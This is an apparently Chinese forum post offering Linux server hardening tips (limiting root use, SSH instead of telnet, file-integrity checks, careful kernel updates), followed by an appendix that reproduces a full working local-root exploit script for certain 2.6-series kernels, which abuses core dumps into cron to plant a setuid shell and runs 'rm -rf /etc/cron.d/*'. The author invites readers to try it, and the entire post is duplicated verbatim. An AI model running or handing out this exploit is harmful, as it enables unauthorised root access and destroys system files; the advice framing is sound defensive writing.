linux服务器防黑的几点建议
时间:2007-02-08 来源:icyworld
来论坛这么久了也没写什么像样的东西,今天吧自己维护服务器的一些心得和大家分享一下。写的有些乱,如果有错误的话请大家指出。太晚了,睡觉去了。
1,日常维护上应该注意的问题
服务器安置好了并不代表万事大吉了。这只是一个新的开始,只要服务器接入了网络,每天都会遇到各种各样的挑战。如果日常维护上漫不经心一样会毁了你的服务器。
没有必要的时候不要使用root登录,就算你是root,也不要炫耀,原因就不用说了。为root设置一个复杂的密码。日常的维护可以用sudo分配给普通用户,用普通用户完成。
尽量不要用su成root。如果必须要用的话,一定要用/bin/su绝对路径运行。可以防止自己不会运行一个记录root帐号的木马。
远程登陆的时候尽量不要在陌生的计算机上用root登录服务器。很可能这个计算机上的软件是一个精心设计的木马。用像SSH这样的加密传输的程序进行远程维护。不要用一些明文传输的软件,如,telnet。如果存在嗅探器的话你的密码就完了。
日志分析也是一个经常需要做的事情,提早发现问题,尽快解决。总比亡羊补牢要好的多。
2,严防linux病毒木马。
其实linux中的黑客程序和木马并不少,如果大家到国外的黑客网站看看,就会发现每天都会有人发布一些针对linux漏洞进行攻击的脚本或源代码,数量不比windows中的少多少。
但大都只提供很少的信息,真正会用的人不多。但是对于一个经验丰富的黑客,根本不算什么。他们一般是先得到一个权限不高的shell,再想办法在本地提 升权限。所以千万不要给他们这样的机会。最危险的是远程溢出,这个一般是利用一些漏洞,所以要及时补上。还有不需要远程登录的功能尽量关闭,如 mysql。
如果不幸root已经被攻破了,一般他们都会装一些后门,如果用tripwire曾经用生成过文件指纹数据库的话,就可以效验系统文件是否被替换了。 tripwire软件现在商业气息很浓,可以用integrit代替或自己编写一个脚本实现。最厉害的还是内核级的后门,用tripwire查不出来,没 有什么好的方法,只能屏经验了。
一般被入侵后ps、netstat这些命令都不可靠了,可以把以前备份的正常命令复制回来再用。或用一个最简单的方法查找,用nmap搜一下本机的端口,后门一般都会开一个端口用于远程连接。
至于病毒不用太担心,由于linux主机相对来说还很少,也很分散,对病毒的传播不利,特别是蠕虫。
3,关于软件版本的选择
linux中的软件很多都是开源的。一般分两种情况,有些更新迅速,都是一些热门都软件。还有一些迟迟没有更新,很有可能是作者准备放弃了。
对于服务器来讲千万不要出了新版就马上更新,虽然新版本在功能上和速度上会有提升,但新的软件都有一些新加入的代码,这些代码的安全性要经过一段时间才 能确定下来。所以等稳定后再更新也不晚。但也有例外,比如2.6.17系列内核就曾发现过很多漏洞,但新的2.6.18系列还没发现严重的漏洞,所以更新 成2.6.18就是一个不错的选择。
迟迟没有更新的软件,如果这个软件很重要的话,不要急着换,可以等等,一般如果一个软件很有创意和影响的话,就算作者不再更新了,不久就会有一个新的开发小组接替他的工作。
【附录】
下面举一个木马的例子,看看黑客是如何提升权限的,附上一个在国外网站复制来的一个源代码,用于本地溢出,使普通用户提升为管理员,如果你的内核是2.6.13<= x <=2.6.17.4或2.6.9-22.ELsmp在普通用户下可以试试。
这个脚本是很简单的,大家可以建一个文件,把下面的代码输进去,加上运行权限。运行就行了。
脚本会建立两个c程序代码文件。默认用cc编译。大家也可以改成gcc
运行后,用id命令看一下,发现已经有root权限了。
#!/bin/sh
#
# PRCTL local root exp By: Sunix
# + effected systems 2.6.13<= x <=2.6.17.4 + 2.6.9-22.ELsmp
# tested on Intel(R) Xeon(TM) CPU 3.20GHz
# kernel 2.6.9-22.ELsmp
# maybe others ...
# Tx to drayer & RoMaNSoFt for their clear code...
#
# [email protected]
cat > /tmp/getsuid.c << __EOF__
#include <stdio.h>
#include <sys/time.h>
#include <sys/resource.h>
#include <unistd.h>
#include <linux/prctl.h>
#include <stdlib.h>
#include <sys/types.h>
#include <signal.h>
char
*payload="\nSHELL=/bin/sh\nPATH=/usr/local/sbin:/usr/local/bin:/sbin:/bin:/usr/sbin:/usr/bin\n* *
* * * root chown root.root /tmp/s ; chmod 4777 /tmp/s ; rm -f /etc/cron.d/core\n";
int main() {
int child;
struct rlimit corelimit;
corelimit.rlim_cur = RLIM_INFINITY;
corelimit.rlim_max = RLIM_INFINITY;
setrlimit(RLIMIT_CORE, &corelimit);
if ( !( child = fork() )) {
chdir("/etc/cron.d");
prctl(PR_SET_DUMPABLE, 2);
sleep(200);
exit(1);
}
kill(child, SIGSEGV);
sleep(120);
}
__EOF__
cat > /tmp/s.c << __EOF__
#include<stdio.h>
main(void)
{
setgid(0);
setuid(0);
system("/bin/sh");
system("rm -rf /tmp/s");
system("rm -rf /etc/cron.d/*");
return 0;
}
__EOF__
echo "wait aprox 4 min to get sh"
cd /tmp
cc -o s s.c
cc -o getsuid getsuid.c
./getsuid
./s
rm -rf getsuid*
rm -rf s.c
rm -rf prctl.sh
# milw0rm.com [2006-07-14]
1,日常维护上应该注意的问题
服务器安置好了并不代表万事大吉了。这只是一个新的开始,只要服务器接入了网络,每天都会遇到各种各样的挑战。如果日常维护上漫不经心一样会毁了你的服务器。
没有必要的时候不要使用root登录,就算你是root,也不要炫耀,原因就不用说了。为root设置一个复杂的密码。日常的维护可以用sudo分配给普通用户,用普通用户完成。
尽量不要用su成root。如果必须要用的话,一定要用/bin/su绝对路径运行。可以防止自己不会运行一个记录root帐号的木马。
远程登陆的时候尽量不要在陌生的计算机上用root登录服务器。很可能这个计算机上的软件是一个精心设计的木马。用像SSH这样的加密传输的程序进行远程维护。不要用一些明文传输的软件,如,telnet。如果存在嗅探器的话你的密码就完了。
日志分析也是一个经常需要做的事情,提早发现问题,尽快解决。总比亡羊补牢要好的多。
2,严防linux病毒木马。
其实linux中的黑客程序和木马并不少,如果大家到国外的黑客网站看看,就会发现每天都会有人发布一些针对linux漏洞进行攻击的脚本或源代码,数量不比windows中的少多少。
但大都只提供很少的信息,真正会用的人不多。但是对于一个经验丰富的黑客,根本不算什么。他们一般是先得到一个权限不高的shell,再想办法在本地提 升权限。所以千万不要给他们这样的机会。最危险的是远程溢出,这个一般是利用一些漏洞,所以要及时补上。还有不需要远程登录的功能尽量关闭,如 mysql。
如果不幸root已经被攻破了,一般他们都会装一些后门,如果用tripwire曾经用生成过文件指纹数据库的话,就可以效验系统文件是否被替换了。 tripwire软件现在商业气息很浓,可以用integrit代替或自己编写一个脚本实现。最厉害的还是内核级的后门,用tripwire查不出来,没 有什么好的方法,只能屏经验了。
一般被入侵后ps、netstat这些命令都不可靠了,可以把以前备份的正常命令复制回来再用。或用一个最简单的方法查找,用nmap搜一下本机的端口,后门一般都会开一个端口用于远程连接。
至于病毒不用太担心,由于linux主机相对来说还很少,也很分散,对病毒的传播不利,特别是蠕虫。
3,关于软件版本的选择
linux中的软件很多都是开源的。一般分两种情况,有些更新迅速,都是一些热门都软件。还有一些迟迟没有更新,很有可能是作者准备放弃了。
对于服务器来讲千万不要出了新版就马上更新,虽然新版本在功能上和速度上会有提升,但新的软件都有一些新加入的代码,这些代码的安全性要经过一段时间才 能确定下来。所以等稳定后再更新也不晚。但也有例外,比如2.6.17系列内核就曾发现过很多漏洞,但新的2.6.18系列还没发现严重的漏洞,所以更新 成2.6.18就是一个不错的选择。
迟迟没有更新的软件,如果这个软件很重要的话,不要急着换,可以等等,一般如果一个软件很有创意和影响的话,就算作者不再更新了,不久就会有一个新的开发小组接替他的工作。
【附录】
下面举一个木马的例子,看看黑客是如何提升权限的,附上一个在国外网站复制来的一个源代码,用于本地溢出,使普通用户提升为管理员,如果你的内核是2.6.13<= x <=2.6.17.4或2.6.9-22.ELsmp在普通用户下可以试试。
这个脚本是很简单的,大家可以建一个文件,把下面的代码输进去,加上运行权限。运行就行了。
脚本会建立两个c程序代码文件。默认用cc编译。大家也可以改成gcc
运行后,用id命令看一下,发现已经有root权限了。
#!/bin/sh
#
# PRCTL local root exp By: Sunix
# + effected systems 2.6.13<= x <=2.6.17.4 + 2.6.9-22.ELsmp
# tested on Intel(R) Xeon(TM) CPU 3.20GHz
# kernel 2.6.9-22.ELsmp
# maybe others ...
# Tx to drayer & RoMaNSoFt for their clear code...
#
# [email protected]
cat > /tmp/getsuid.c << __EOF__
#include <stdio.h>
#include <sys/time.h>
#include <sys/resource.h>
#include <unistd.h>
#include <linux/prctl.h>
#include <stdlib.h>
#include <sys/types.h>
#include <signal.h>
char
*payload="\nSHELL=/bin/sh\nPATH=/usr/local/sbin:/usr/local/bin:/sbin:/bin:/usr/sbin:/usr/bin\n* *
* * * root chown root.root /tmp/s ; chmod 4777 /tmp/s ; rm -f /etc/cron.d/core\n";
int main() {
int child;
struct rlimit corelimit;
corelimit.rlim_cur = RLIM_INFINITY;
corelimit.rlim_max = RLIM_INFINITY;
setrlimit(RLIMIT_CORE, &corelimit);
if ( !( child = fork() )) {
chdir("/etc/cron.d");
prctl(PR_SET_DUMPABLE, 2);
sleep(200);
exit(1);
}
kill(child, SIGSEGV);
sleep(120);
}
__EOF__
cat > /tmp/s.c << __EOF__
#include<stdio.h>
main(void)
{
setgid(0);
setuid(0);
system("/bin/sh");
system("rm -rf /tmp/s");
system("rm -rf /etc/cron.d/*");
return 0;
}
__EOF__
echo "wait aprox 4 min to get sh"
cd /tmp
cc -o s s.c
cc -o getsuid getsuid.c
./getsuid
./s
rm -rf getsuid*
rm -rf s.c
rm -rf prctl.sh
# milw0rm.com [2006-07-14]
相关阅读 更多 +